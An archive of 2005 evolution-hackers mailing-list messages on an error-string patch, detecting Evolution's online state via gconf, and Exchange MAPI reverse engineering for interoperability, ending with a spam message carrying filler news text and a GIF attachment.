<1106795260.6680.40.camel@lostzed.mmc.com.au> <200501270841.52556.koke@amedias.org> <200501312053.36697.koke@amedias.org> Content-Type: multipart/alternative; boundary="=-JyXektcwxqPtgdhvyrly" Date: Wed, 02 Feb 2005 11:01:16 +0800 Message-Id: <1107313276.9865.51.camel@lostzed.mmc.com.au> Mime-Version: 1.0 X-Mailer: Evolution 2.1.3.2 Sender: evolution-hackers-admin@lists.ximian.com Errors-To: evolution-hackers-admin@lists.ximian.com X-BeenThere: evolution-hackers@lists.ximian.com X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: People writing code for Evolution List-Unsubscribe: , List-Archive: --=-JyXektcwxqPtgdhvyrly Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 8bit I followed up on the bug yesterday. While fixing another bug, I noticed that the error code really is only for system i/o errors - and yet, in all other cases system errors do not contain this extra detail at all. So I simply removed the specific errors and use the generic 'execution failed' + strerror one. This is to help save the translators some work, since the info was quite redundant anyway. So, sorry about having to discard your patch, but I think the new solution is a lot simpler/cleaner and suitable in the long run. Michael On Mon, 2005-01-31 at 20:53 +0100, Jorge Bernal wrote: > El Jueves 27 Enero 2005 08:41, Jorge Bernal escribió: > > El Jueves 27 Enero 2005 04:07, Not Zed escribió: > > > Hmm, sure i suppose, i think there are too many strings to translate, > > > but whatever I guess. > > > > > > You don't need to cc -hackers, but the i18n team need to know of string > > > changes once the patch is in. > > > > Ok, tell me when the patch is committed and I'll write to gnome-i18n. > > > > > Can you commit the patch, or do we need to? > > > > I don't have a CVS account :( > > > > > Thanks, > > > Michael > > What happened to this? > > TIA, > Koke > --=-JyXektcwxqPtgdhvyrly Content-Type: text/html; charset=utf-8 Content-Transfer-Encoding: 7bit
I followed up on the bug yesterday.   While fixing another bug, I noticed that the error code really is only for system i/o errors - and yet, in all other cases system errors do not contain this extra detail at all.  So I simply removed the specific errors and use the generic 'execution failed' + strerror one.  This is to help save the translators some work, since the info was quite redundant anyway.

So, sorry about having to discard your patch, but I think the new solution is a lot simpler/cleaner and suitable in the long run.

Michael

On Mon, 2005-01-31 at 20:53 +0100, Jorge Bernal wrote: 
El Jueves 27 Enero 2005 08:41, Jorge Bernal escribió:
> El Jueves 27 Enero 2005 04:07, Not Zed escribió:
> > Hmm, sure i suppose, i think there are too many strings to translate,
> > but whatever I guess.
> >
> > You don't need to cc -hackers, but the i18n team need to know of string
> > changes once the patch is in.
>
> Ok, tell me when the patch is committed and I'll write to gnome-i18n.
>
> > Can you commit the patch, or do we need to?
>
> I don't have a CVS account :(
>
> > Thanks,
> >  Michael

What happened to this?

TIA,
 Koke
--=-JyXektcwxqPtgdhvyrly-- From notzed@ximian.com Tue Feb 1 22:33:35 2005 Return-Path: Received: by lists.ximian.com (Postfix, from userid 38) id 2FC19124E6D; Tue, 1 Feb 2005 22:33:35 -0500 (EST) Received: from peabody.ximian.com (peabody.ximian.com [130.57.169.10]) (using TLSv1 with cipher EDH-RSA-DES-CBC3-SHA (168/168 bits)) (Client did not present a certificate) by lists.ximian.com (Postfix) with ESMTP id E69FD124E61 for ; Tue, 1 Feb 2005 22:33:31 -0500 (EST) Received: (qmail 20880 invoked from network); 2 Feb 2005 03:33:30 -0000 Received: from localhost (HELO ?192.168.0.100?) (127.0.0.1) by localhost with SMTP; 2 Feb 2005 03:33:30 -0000 Subject: Re: [Evolution-hackers] how to know whether evolution is online From: Not Zed To: JP Rosevear Cc: Sivaiah Nallagatla , =?ISO-8859-1?Q?St=E9phane?= Konstantaropoulos , Evolution Hackers mailing list In-Reply-To: <1107263506.15530.1.camel@bishop.rosevear.com> References: <1107039061.16718.6.camel@localhost.localdomain> <1107239902.9842.4.camel@Gr8-Siva.hathaway> <1107263506.15530.1.camel@bishop.rosevear.com> Content-Type: multipart/alternative; boundary="=-ze0Ut7xvCvUWFqru5xto" Date: Wed, 02 Feb 2005 11:28:36 +0800 Message-Id: <1107314916.9862.67.camel@lostzed.mmc.com.au> Mime-Version: 1.0 X-Mailer: Evolution 2.1.3.2 Sender: evolution-hackers-admin@lists.ximian.com Errors-To: evolution-hackers-admin@lists.ximian.com X-BeenThere: evolution-hackers@lists.ximian.com X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: People writing code for Evolution List-Unsubscribe: , List-Archive: --=-ze0Ut7xvCvUWFqru5xto Content-Type: text/plain Content-Transfer-Encoding: 7bit > Isn't there a gconf key that determines the state? Or does that just > determine the startup state? The current state is stored in gconf, but it is NOT the appropriate way to determine when it changes. It is private data used by the shell only. --=-ze0Ut7xvCvUWFqru5xto Content-Type: text/html; charset=utf-8 Content-Transfer-Encoding: 7bit 
Isn't there a gconf key that determines the state?  Or does that just
determine the startup state?

The current state is stored in gconf, but it is NOT the appropriate way to determine when it changes.

It is private data used by the shell only.

--=-ze0Ut7xvCvUWFqru5xto-- From snallagatla@novell.com Wed Feb 2 01:17:33 2005 Return-Path: Received: by lists.ximian.com (Postfix, from userid 38) id 39565124CA0; Wed, 2 Feb 2005 01:17:33 -0500 (EST) Received: from linux.site (unknown [202.144.86.147]) by lists.ximian.com (Postfix) with ESMTP id C7321124BB9 for ; Wed, 2 Feb 2005 01:17:29 -0500 (EST) Received: by linux.site (Postfix, from userid 0) id 061B55BCD2; Wed, 2 Feb 2005 11:41:16 +0530 (IST) Subject: Re: [Evolution-hackers] how to know whether evolution is online From: Sivaiah Nallagatla To: Not Zed Cc: ls@linux.site, =?ISO-8859-1?Q?St=E9phane?= Konstantaropoulos , Evolution Hackers mailing list In-Reply-To: <001201c508db$b3535490$0301a8c0@executivesontheweb.local> References: <1107039061.16718.6.camel@localhost.localdomain> <1107239902.9842.4.camel@Gr8-Siva.hathaway> <1107263506.15530.1.camel@bishop.rosevear.com> <001201c508db$b3535490$0301a8c0@executivesontheweb.local> Content-Type: text/plain Content-Transfer-Encoding: 7bit Date: Wed, 02 Feb 2005 11:41:15 +0530 Message-Id: <1107324676.4106.2.camel@linux.site> Mime-Version: 1.0 X-Mailer: Evolution 2.1.4 Sender: evolution-hackers-admin@lists.ximian.com Errors-To: evolution-hackers-admin@lists.ximian.com X-BeenThere: evolution-hackers@lists.ximian.com X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: People writing code for Evolution List-Unsubscribe: , List-Archive: On Wed, 2005-02-02 at 04:00 +0000, Not Zed wrote: > > > Isn't there a gconf key that determines the state? Or does that just > > determine the startup state? > > The current state is stored in gconf, but it is NOT the appropriate > way to determine when it changes. > > It is private data used by the shell only. Oh, Why it is not appropirate?, e-d-s also listnes to this key change to switch between online/offline modes. Siva From colding@omesc.com Wed Feb 2 02:58:46 2005 Return-Path: Received: by lists.ximian.com (Postfix, from userid 38) id EF3BA124EE8; Wed, 2 Feb 2005 02:58:45 -0500 (EST) Received: from pfepa.post.tele.dk (pfepa.post.tele.dk [195.41.46.235]) by lists.ximian.com (Postfix) with ESMTP id B930E124E68 for ; Wed, 2 Feb 2005 02:58:40 -0500 (EST) Received: from 10.0.23.5 (cpe.atm2-0-1151123.0x50a3535e.odnxx7.customer.tele.dk [80.163.83.94]) by pfepa.post.tele.dk (Postfix) with ESMTP id A0D1B47FE79; Wed, 2 Feb 2005 08:57:54 +0100 (CET) Subject: Re: [Evolution-hackers] Exchange 5.5 - network reverse engineering underway (MAPI, Nspi) From: Jules Colding To: JP Rosevear Cc: Luke Kenneth Casson Leighton , Evolution Hackers In-Reply-To: <1107307007.17674.3.camel@bishop.rosevear.com> References: <20050201150641.GV5707@lkcl.net> <1107284298.6737.6.camel@localhost.localdomain> <1107307007.17674.3.camel@bishop.rosevear.com> Content-Type: text/plain Date: Wed, 02 Feb 2005 08:57:53 +0100 Message-Id: <1107331073.19114.3.camel@omc-3> Mime-Version: 1.0 X-Mailer: Evolution 2.0.2 (2.0.2-3) Content-Transfer-Encoding: 7bit Sender: evolution-hackers-admin@lists.ximian.com Errors-To: evolution-hackers-admin@lists.ximian.com X-BeenThere: evolution-hackers@lists.ximian.com X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: People writing code for Evolution List-Unsubscribe: , List-Archive: On Tue, 2005-02-01 at 20:16 -0500, JP Rosevear wrote: > On Tue, 2005-02-01 at 19:58 +0100, Jules Colding wrote: > > Hi, > > > > Why dont you use MAPI directly in Evolution? Well not MAPI itself, but > > the CORBA wrapper for MAPI (www.omesc.com). > > Well reason one is I hadn't heard of it until now :-). > > Reason two might be this comment from the evolution plugin skeleton in > the brutus download: > > A Brutus server must be running on the Windows side if you > want to use this plugin. Please see > for the details. > > This makes it sound like you need a mapi implementation on a windows box > somewhere. Yes, Brutus wraps MAPI at the server end. Maybe not at the Exchange server but at a server with the correct MAPI dll at least. So Brutus does presently only facilitate access to Exchange servers from 5.5 onwards by wrapping MAPI in CORBA, it is not a free reimplementation of MAPI. -- jules From notzed@ximian.com Wed Feb 2 03:06:13 2005 Return-Path: Received: by lists.ximian.com (Postfix, from userid 38) id E82B41242C5; Wed, 2 Feb 2005 03:06:13 -0500 (EST) Received: from peabody.ximian.com (peabody.ximian.com [130.57.169.10]) (using TLSv1 with cipher EDH-RSA-DES-CBC3-SHA (168/168 bits)) (Client did not present a certificate) by lists.ximian.com (Postfix) with ESMTP id D78461243F0 for ; Wed, 2 Feb 2005 03:06:10 -0500 (EST) Received: (qmail 21039 invoked from network); 2 Feb 2005 08:06:09 -0000 Received: from localhost (HELO ?192.168.0.100?) (127.0.0.1) by localhost with SMTP; 2 Feb 2005 08:06:09 -0000 Subject: Re: [Evolution-hackers] how to know whether evolution is online From: Not Zed To: Sivaiah Nallagatla Cc: ls@linux.site, =?ISO-8859-1?Q?St=E9phane?= Konstantaropoulos , Evolution Hackers mailing list In-Reply-To: <1107324676.4106.2.camel@linux.site> References: <1107039061.16718.6.camel@localhost.localdomain> <1107239902.9842.4.camel@Gr8-Siva.hathaway> <1107263506.15530.1.camel@bishop.rosevear.com> <001201c508db$b3535490$0301a8c0@executivesontheweb.local> <1107324676.4106.2.camel@linux.site> Content-Type: multipart/alternative; boundary="=-7uBHvPDSG3csBhxZdt5a" Date: Wed, 02 Feb 2005 16:01:11 +0800 Message-Id: <1107331271.9861.83.camel@lostzed.mmc.com.au> Mime-Version: 1.0 X-Mailer: Evolution 2.1.3.2 Sender: evolution-hackers-admin@lists.ximian.com Errors-To: evolution-hackers-admin@lists.ximian.com X-BeenThere: evolution-hackers@lists.ximian.com X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: People writing code for Evolution List-Unsubscribe: , List-Archive: --=-7uBHvPDSG3csBhxZdt5a Content-Type: text/plain Content-Transfer-Encoding: 7bit On Wed, 2005-02-02 at 11:41 +0530, Sivaiah Nallagatla wrote: > On Wed, 2005-02-02 at 04:00 +0000, Not Zed wrote: > > > > > Isn't there a gconf key that determines the state? Or does that just > > > determine the startup state? > > > > The current state is stored in gconf, but it is NOT the appropriate > > way to determine when it changes. > > > > It is private data used by the shell only. > Oh, Why it is not appropirate?, e-d-s also listnes to this key change to > switch between online/offline modes. Umm, thats pretty shitty then isn't it? --=-7uBHvPDSG3csBhxZdt5a Content-Type: text/html; charset=utf-8 Content-Transfer-Encoding: 7bit On Wed, 2005-02-02 at 11:41 +0530, Sivaiah Nallagatla wrote: 
On Wed, 2005-02-02 at 04:00 +0000, Not Zed wrote:
> 
> > Isn't there a gconf key that determines the state?  Or does that just
> > determine the startup state?
> 
> The current state is stored in gconf, but it is NOT the appropriate
> way to determine when it changes.
> 
> It is private data used by the shell only.
Oh, Why it is not appropirate?, e-d-s also listnes to this key change to
switch between online/offline modes.

Umm, thats pretty shitty then isn't it?


--=-7uBHvPDSG3csBhxZdt5a-- From snallagatla@novell.com Wed Feb 2 03:16:22 2005 Return-Path: Received: by lists.ximian.com (Postfix, from userid 38) id ED2B0124F0D; Wed, 2 Feb 2005 03:16:22 -0500 (EST) Received: from linux.site (unknown [202.144.86.147]) by lists.ximian.com (Postfix) with ESMTP id 85A13124F24 for ; Wed, 2 Feb 2005 03:16:19 -0500 (EST) Received: by linux.site (Postfix, from userid 0) id CB35194FCB; Wed, 2 Feb 2005 13:40:07 +0530 (IST) Subject: Re: [Evolution-hackers] how to know whether evolution is online From: Sivaiah Nallagatla To: Not Zed Cc: ls@linux.site, =?ISO-8859-1?Q?St=E9phane?= Konstantaropoulos , Evolution Hackers mailing list In-Reply-To: <1107331271.9861.83.camel@lostzed.mmc.com.au> References: <1107039061.16718.6.camel@localhost.localdomain> <1107239902.9842.4.camel@Gr8-Siva.hathaway> <1107263506.15530.1.camel@bishop.rosevear.com> <001201c508db$b3535490$0301a8c0@executivesontheweb.local> <1107324676.4106.2.camel@linux.site> <1107331271.9861.83.camel@lostzed.mmc.com.au> Content-Type: text/plain Content-Transfer-Encoding: 7bit Date: Wed, 02 Feb 2005 13:40:06 +0530 Message-Id: <1107331806.16262.4.camel@linux.site> Mime-Version: 1.0 X-Mailer: Evolution 2.1.4 Sender: evolution-hackers-admin@lists.ximian.com Errors-To: evolution-hackers-admin@lists.ximian.com X-BeenThere: evolution-hackers@lists.ximian.com X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: People writing code for Evolution List-Unsubscribe: , List-Archive: On Wed, 2005-02-02 at 16:01 +0800, Not Zed wrote: > On Wed, 2005-02-02 at 11:41 +0530, Sivaiah Nallagatla wrote: > > On Wed, 2005-02-02 at 04:00 +0000, Not Zed wrote: > > > > > > > Isn't there a gconf key that determines the state? Or does that just > > > > determine the startup state? > > > > > > The current state is stored in gconf, but it is NOT the appropriate > > > way to determine when it changes. > > > > > > It is private data used by the shell only. > > Oh, Why it is not appropirate?, e-d-s also listnes to this key change to > > switch between online/offline modes. > > Umm, thats pretty shitty then isn't it? Hmm Don't know, ultimately e-d-s has to listen to some gconf key for online/offlime mode switching and existing key behaviour works for it. If we need to use a different key for any reason we can do that but still that key value also needs to be set at the same places where start_offline key is being set now. offline/online switiching of e-d-s is driven by evolution only, we are not doing any desktop wide thing for 2.2 Siva > From colding@omesc.com Wed Feb 2 03:19:49 2005 Return-Path: Received: by lists.ximian.com (Postfix, from userid 38) id 9FF9B124F47; Wed, 2 Feb 2005 03:19:49 -0500 (EST) Received: from pfepb.post.tele.dk (pfepb.post.tele.dk [195.41.46.236]) by lists.ximian.com (Postfix) with ESMTP id 7A2F31247B4 for ; Wed, 2 Feb 2005 03:19:46 -0500 (EST) Received: from 10.0.23.5 (cpe.atm2-0-1151123.0x50a3535e.odnxx7.customer.tele.dk [80.163.83.94]) by pfepb.post.tele.dk (Postfix) with ESMTP id 9FC215EE073; Wed, 2 Feb 2005 09:19:26 +0100 (CET) Subject: Re: [Evolution-hackers] Exchange 5.5 - network reverse engineering underway (MAPI, Nspi) From: Jules Colding To: Luke Kenneth Casson Leighton Cc: Evolution Hackers In-Reply-To: <20050201201548.GL5707@lkcl.net> References: <20050201150641.GV5707@lkcl.net> <1107284298.6737.6.camel@localhost.localdomain> <20050201201548.GL5707@lkcl.net> Content-Type: text/plain Date: Wed, 02 Feb 2005 09:19:26 +0100 Message-Id: <1107332366.19114.24.camel@omc-3> Mime-Version: 1.0 X-Mailer: Evolution 2.0.2 (2.0.2-3) Content-Transfer-Encoding: 7bit Sender: evolution-hackers-admin@lists.ximian.com Errors-To: evolution-hackers-admin@lists.ximian.com X-BeenThere: evolution-hackers@lists.ximian.com X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: People writing code for Evolution List-Unsubscribe: , List-Archive: On Tue, 2005-02-01 at 20:15 +0000, Luke Kenneth Casson Leighton wrote: > > Well not MAPI itself, but > > the CORBA wrapper for MAPI (www.omesc.com). > > ooooooo :) > > let's find OUT! > > what i am looking for is a similarity between the functions i'm > implementing and something in brutus... > > hmm.... NT_Service/servant_impl/IMsgStureS_impl.cpp looks hopeful... > > ah ha! this looks familiar: > > SPropTagArray *tags = NULL; > hr = msg_store_->GetProps(tags, flags, &count, &props); > > SPropTagArray is present in that Nspi IDL file i sent. > > hmmm... okay.... okay. > > brutus is basically a proxy server. Well.. yes. > it therefore has a server front-end (in a documented format) > and a client back-end (fronting into MAPI). Yes, a traditional CORBA framework: ------ ----------------- | -------------- ------ | MAPI | <=> | BRUTUS servants | <=|=> | BRUTUS stubs | <=> | Evo? | ------ ----------------- | -------------- ------ ^ | Network > therefore, whilst it is useful to aid understanding of what is going > on, it is not entirely suitable for what i am looking for. > > if brutus also claimed to have alternative back-ends, implemented > at the MAPI interface layer, _then_ it would be suitable, because i > could take that code and place it behind the Nspi and the EMSMDB > interfaces , and run > Outlook 2000 - unmodified - and have it talk to a complete free > software exchange 5.5 compatible server. > that's my goal. You can do that today with the various Outlook plug-ins out there which implements a MAPI storage provider and interfaces back to exchange4linux, Openexchange, OpenGroupware and possibly many other groupware back-ends. Those plug-ins are not FOSS of-cause :-( Brutus is aimed at applications that want to talk to Exchange (any version from 5.5 onwards) on an equal footing with Outlook but, practicality issues aside, you could put a different back-end behind Brutus than an Exchange server, if you have the time and motivation to build one. > i'm hoping to understand enough of this stuff at some point > in order to be able to have a hope of blatting a few pieces > from some of the plethora of projects around... It does indeed seem that you already do understand quite a bit ;-) Good luck, jules From lkcl@lkcl.net Wed Feb 2 06:33:29 2005 Return-Path: Received: by lists.ximian.com (Postfix, from userid 38) id 576AF12501A; Wed, 2 Feb 2005 06:33:25 -0500 (EST) Received: from open.hands.com (open.hands.com [195.224.53.39]) by lists.ximian.com (Postfix) with ESMTP id 0FC2B12501F for ; Wed, 2 Feb 2005 06:33:22 -0500 (EST) Received: from lkcl.net (host81-152-13-251.range81-152.btcentralplus.com [81.152.13.251]) by open.hands.com (Postfix) with ESMTP id C0DC2BFFD; Wed, 2 Feb 2005 11:33:08 +0000 (GMT) Received: from lkcl by lkcl.net with local (Exim 4.24) id 1CwIut-0006PB-FL; Wed, 02 Feb 2005 11:43:27 +0000 Date: Wed, 2 Feb 2005 11:43:27 +0000 From: Luke Kenneth Casson Leighton To: Peter Colijn Cc: evolution-hackers@lists.ximian.com Subject: Re: [Evolution-hackers] Exchange 5.5 - network reverse engineering underway (MAPI, Nspi) Message-ID: <20050202114327.GJ15458@lkcl.net> References: <20050201150641.GV5707@lkcl.net> <7c35b00e050201105168b14d75@mail.gmail.com> <20050201201756.GM5707@lkcl.net> <7c35b00e05020113275f998982@mail.gmail.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <7c35b00e05020113275f998982@mail.gmail.com> User-Agent: Mutt/1.5.5.1+cvs20040105i X-hands-com-MailScanner: Found to be clean X-MailScanner-From: lkcl@lkcl.net Sender: evolution-hackers-admin@lists.ximian.com Errors-To: evolution-hackers-admin@lists.ximian.com X-BeenThere: evolution-hackers@lists.ximian.com X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: People writing code for Evolution List-Unsubscribe: , List-Archive: On Tue, Feb 01, 2005 at 01:27:27PM -0800, Peter Colijn wrote: > Yeah, there are a lot of TNEF parsers :) > > As far as I know, WvMapi is one of the rare libraries that can > actually encode TNEFs for you, as well as extracting data from them. oooooo goooood. From owner-evolution-hackers@skeptopotamus.ximian.com Tue Feb 1 16:04:51 2005 Return-Path: Received: by lists.ximian.com (Postfix, from userid 38) id 3A312124457; Tue, 1 Feb 2005 16:04:51 -0500 (EST) Received: from skeptopotamus.ximian.com (skeptopotamus.ximian.com [130.57.169.16]) (using TLSv1 with cipher EDH-RSA-DES-CBC3-SHA (168/168 bits)) (Client CN "mail.cam.novell.com", Issuer "Equifax" (not verified)) by lists.ximian.com (Postfix) with ESMTP id 23837124539 for ; Tue, 1 Feb 2005 16:04:48 -0500 (EST) Received: by skeptopotamus.ximian.com (Postfix) id 87F1763FD8; Tue, 1 Feb 2005 15:56:43 -0500 (EST) Delivered-To: evolution-hackers@ximian.com Received: from lists.ximian.com (headcheese.ximian.com [130.57.169.17]) (using TLSv1 with cipher EDH-RSA-DES-CBC3-SHA (168/168 bits)) (Client CN "mail.cam.novell.com", Issuer "Equifax" (not verified)) by skeptopotamus.ximian.com (Postfix) with ESMTP id 9082A63FC8; Tue, 1 Feb 2005 15:56:40 -0500 (EST) Received: by lists.ximian.com (Postfix, from userid 38) id 28E731245D4; Tue, 1 Feb 2005 15:56:40 -0500 (EST) Received: from spr2-bolt2-5-0-cust132.bagu.broadband.ntl.com (spr2-bolt2-5-0-cust132.bagu.broadband.ntl.com [81.100.27.132]) by lists.ximian.com (Postfix) with SMTP id AFCD612417D; Tue, 1 Feb 2005 15:56:03 -0500 (EST) Received: from XXXJO-RN03 (45.188.82.112) by 81.100.27.132; Tue, 01 Feb 2005 12:56:03 -0800 From: "Latoya Phillips" To: evolution-addressbook-maintainers@ximian.com Cc: evolution-admin@ximian.com, evolution-calendar-maintainers@ximian.com, evolution-devel@ximian.com, evolution-hackers@ximian.com, evolution-hackers-447request@ximian.com, evolution-hackers-request@ximian.com Date: Tue, 01 Feb 2005 12:56:03 -0800 MIME-Version: 1.0 Content-Type: multipart/related; boundary="----=_NextPart_000_00IS_08S0408HR_07G.917S08B0" X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2741.2600 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2742.200 Message-Id: <20050201205603.AFCD612417D@lists.ximian.com> Subject: [Evolution-hackers] Re: Marjorie Hogan ZH Sender: evolution-hackers-admin@lists.ximian.com Errors-To: evolution-hackers-admin@lists.ximian.com X-BeenThere: evolution-hackers@lists.ximian.com X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: People writing code for Evolution List-Unsubscribe: , List-Archive: This is a multi-part message in MIME format. ------=_NextPart_000_00IS_08S0408HR_07G.917S08B0 Content-Type: multipart/alternative; boundary="----=_NextPart_000_00LS_09P3212QH_08O.849R32U0" ------=_NextPart_000_00LS_09P3212QH_08O.849R32U0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: quoted-printable ------=_NextPart_000_00LS_09P3212QH_08O.849R32U0 Content-Type: text/html; charset="us-ascii" Content-Transfer-Encoding: quoted-printable

 

 

Prices of popula= r U.S. consumer electronics devices fell slightly in March as declines in = DVD players and digital cameras outweighed gains in notebook computers, ac= cording to an industry study prepared for Reuters.=20

Office 2004 for = Mac, which goes on sale today in Standard and Student/Teacher editions, is= Microsoft's best effort yet to let everyone from Mac-centric corporate su= its to students create documents, crunch numbers and design presentations = that can be exchanged with folks in the Windows world. Beyond that, Office= 2004 includes powerful new collaboration features that let teams work mor= e productively =96 if they're all using Macs.=20Chipmaker AMD (NYSE: AMD) = continues to tweak its Opteron line, announcing three new additions to its= 32/64-bit processor family for servers and workstations that boost perfor= mance on two-way and four-way platforms.=20

As if vegetables= weren't already healthy enough, UK scientists have found a way to add hea= rt-healthy fatty acids to plants.=20

Prices of popula= r U.S. consumer electronics devices fell slightly in March as declines in = DVD players and digital cameras outweighed gains in notebook computers, ac= cording to an industry study prepared for Reuters.=20The government expect= s to paint a broad picture of Oracle's service record, while Oracle justif= ies its takeover plans for PeopleSoft

Office 2004 for = Mac, which goes on sale today in Standard and Student/Teacher editions, is= Microsoft's best effort yet to let everyone from Mac-centric corporate su= its to students create documents, crunch numbers and design presentations = that can be exchanged with folks in the Windows world. Beyond that, Office= 2004 includes powerful new collaboration features that let teams work mor= e productively =96 if they're all using Macs.=20Chief executives from some= of the largest U.S. companies are criticizing the technology industry in = a lobbying campaign, accusing them of selling software vulnerable to hacke= rs and too difficult for consumers to use safely.=20

Here are the lat= est clinical trials, courtesy of CenterWatch:=20

no

------=_NextPart_000_00LS_09P3212QH_08O.849R32U0-- ------=_NextPart_000_00IS_08S0408HR_07G.917S08B0 Content-Type: image/gif; name="mmtl.gif" Content-Transfer-Encoding: base64 Content-ID: <243715468227> R0lGODlhcAEcAfcAAAAAAP+1CACAAAAA/8DcwFJS92uMpf//74SEhDFSe86EEIxKEJmZmYAAgP/W ezMzM3Ol5+/v75RKEGuU1rW1veetGHulzvfWnLWEOf/MM3Nzcx8fH//33pS13u/e3lpzpe/Oe7Vz OYyMjK+vr9acKczMzGOUvVpaWmZmZjFCY5xzGNbn/+fWzoSt5w8PD//nrYRCEOe1Kda9nEpKUv+9 GNacCHuc3vf39//WSlqEtd/f37+/v6VaIcZzCPfWpWul79aMANatUnOUvYSt9zljjP/nlPf/tefO vXut3vfOMXOMtf///3O17/fv5+/3/0JCQv+1EPfea5y179aMGPfv79bW1ve1CGZmZrVzGJRSGFpz rXOcxnOc3u/Otf/eWnOl97VjCPfelCExQmuEtf+9Kf/OQvf//9acGFJrnGaZzN6lSrV7Uoy1986U EFqMrSkpKf/3///vzoyt1oS1539/f5xSKf+9EE9PT/etEM57IaW154Sc1qCgpNaUEP/394S99/e1 KXOl1r1rCJS97zk5Qmut52uEvWt7tff379aUGLVzUmuErf/GGP/ea3Ot73ul9//GCJxSEGtrc0JC UpRaGHOlznOUzq1zEPfnpUprhO/e1oy15961rd69Wve1EISt3nOl3v/vhIS1/2N7pcaUGN6cGJS9 3nu1796MEDFahM6MEP/GECEpIf//996cEHOt9+////+9CGOErWOMtWuUvXOMvffOc2uMtcZ7EIy1 3qVjGFp7te+1GNaUIf/GIXut77WMMVp7nKVrGP/WUpy992uMvZxjGCEhKYS193ul3nOt53utzve9 CIy1//e9EISt7/+9Id6MGP/eY//GKYy17++1KXul52uc1nOt3mucvf/OSpxaEN6cIYS173ut986U GDlSe86EGJRSEJS159acMdbv/96cCPfWrXOl73OUxkJjjLV7GJxSGFpztbVjELV7WikpMa215//e c/fe1oS13v/vjJS953u1996UEHOt/wAAAAAAAAAAAAAAAAAAAAAAACwAAAAAcAEcAQAI/wCXCBxI sKDBgwgTKlzIsKHDhxAjSpxIsaLFixgzatzIsaPHjyBDihxJsqTJkyhTqlzJsqXLj3RiypxJs6bN mzhz6tzJs6fPn0CDCh1KtKjRo0iRQoz5sqnTp1CjSmXKkI7Uq1izat1a0apCr1zDih1L1ilYg2fL ql3Lti3GtAPhup1Lt+5cuXLt6t3LFyvcvH0DCx5s8i/hw4gTezSsWPCAxwQfDxAouTLlypMjW16C mXNmyI21Mg7NV7Lmz5kLgvY8cLXr1qhJZx0t2+5k0LdjG1zNurfv1Lk5175Ke/jc4MJxp9bM3PPy 1tAhPzf+sjh1tqh1Y1be3Dlv4JGvP/+1Lr5s9svody/nfXl6eb9o37cFn559+vrA3cuPSn4/V/q9 2fdbfrD5J1p8BpLlnnKdecdegwkSh2CEFFboUn8WZqghTBNu6OGHG2EI4ogkVtVhiSimiJCIKrY4 IouheQWYRDNyJeNagNXoFox1ybSQjj/6KBCQKNH0I0lCFtYhkRIWxGRbYM345EFRDjkVQVKOVKWS TmIJ5Yl9pSVjkjcuMROWVHVppZlJslklU2e2KSdVW3ppp5txrVknmWwOmWaedu6ZplVw8uknnUKe aeaXag4m5pqLRlqmpIDeOSljg1aKKaCEUqnmlmWCymmdJ14K6Zia6snpqpWqxeOOn7L/aqqbfx66 Z1yJWqpprl3i9amipkYJLJorNtqprZNGSqmys541JVSvMsrqss1+NWG1qaqqrZe+Borgm61Cimup eZIqrqjMnnqutOEGdqu22CrbLrrLqrvtrPLemS68+tKrb7at+osuvcnC2ihhcspqL55gCkqnrqeS +WdeRqIpsJOZ4ppjrfkaaq+wD0csblnRunjSs4ihTDKYJl+4X5uOstzyzBqWTPPN4tmM88616czz z4r5DPTQMR9M9NHDCS1WAUw37fTTUEct9dRUV2311VhnrfXWXHf9dGJKh1WAXmOnWPZhYXN1Nl1r k9i2YGlv9XZbc39YN19xa3W3Wntr/9i3XXln9fdYg1dY+F0y23W42iouzu7IfDmud+NgJ16X5IJT nrLlbJOtOdqcz3W4GaAo48g9TLzyxSPJdGNGQ6SbjrrqrLtuEeb74b6y0ZE/BAoXyfyhDDLIiPKH N0w4wgZDvwc/fPHHJ788RbovtKBw4an3HYTQoVT9WIFjdbgFlVjTDRvIPJ8PNcg4UggsCpFvPvrq s+8+/BJ9n9D162HfPWX/A2B0vFc53u2lcHugRQssYYNkKIMJ3qDGEAZRvGb8oBwISeACG/jACE6w ghfMX0ie85nw9E81AgzgbQi4OQN6riGWmEUaLGCJQCABCdjYQwvYQA02/OEX6CDGQf9iOMMa3jCH O+zhD4MYEf3tD4X+S072DkJCE7IQdC5UnEO0cItaGGILltgDEnJBDyQEwhrP+MXwvjAIg3DRi2AU IxnNiEY1IoONEHHiE1MIIADtBor+089H9LiV8F2lcJMIhhLGMItKBEIOUrDHJuaAhGQEogWngAAX 8DeQRC6ykY+M5CQreclMbvIhhKTi//q4StM46IRRHEkqZxM6txyOEESohQF2YYFlmMIJK4jHOD5h gWRY4hoTMIBBcKlLXvoSmMIkpjGRqUyHzPKPJ9xOCaHoR22a5JpN+lfvHjKDVCjBEIfYgh46YIFA ZKMSW4jnBLZAgYOU85zpXGc73xn/zy3Ms57WHMkKu1fFWGIPlgUlCTivlMXLRUQE4JDFGGQhixwU Iw2zMIEQ0kGLYighIRCVKEUtilGNctSjeSRJFa8XxW6mcIoiWSh/akk3iVRBDOpQggHcsIiJKmER i5iFEiShkJvmdKc9lcVPgzrUlAoUhSz1Dkyl+EeFFlCcB6TICVKQADR84BZjGMUoZNGOTDRkq139 aljHWtYmfg5hNGVL9RDwhAfA4w3HYMUTNAARutoVr3rlq1vNdtV2ZVWLhG0hVl/o0MRicbGIbSyK 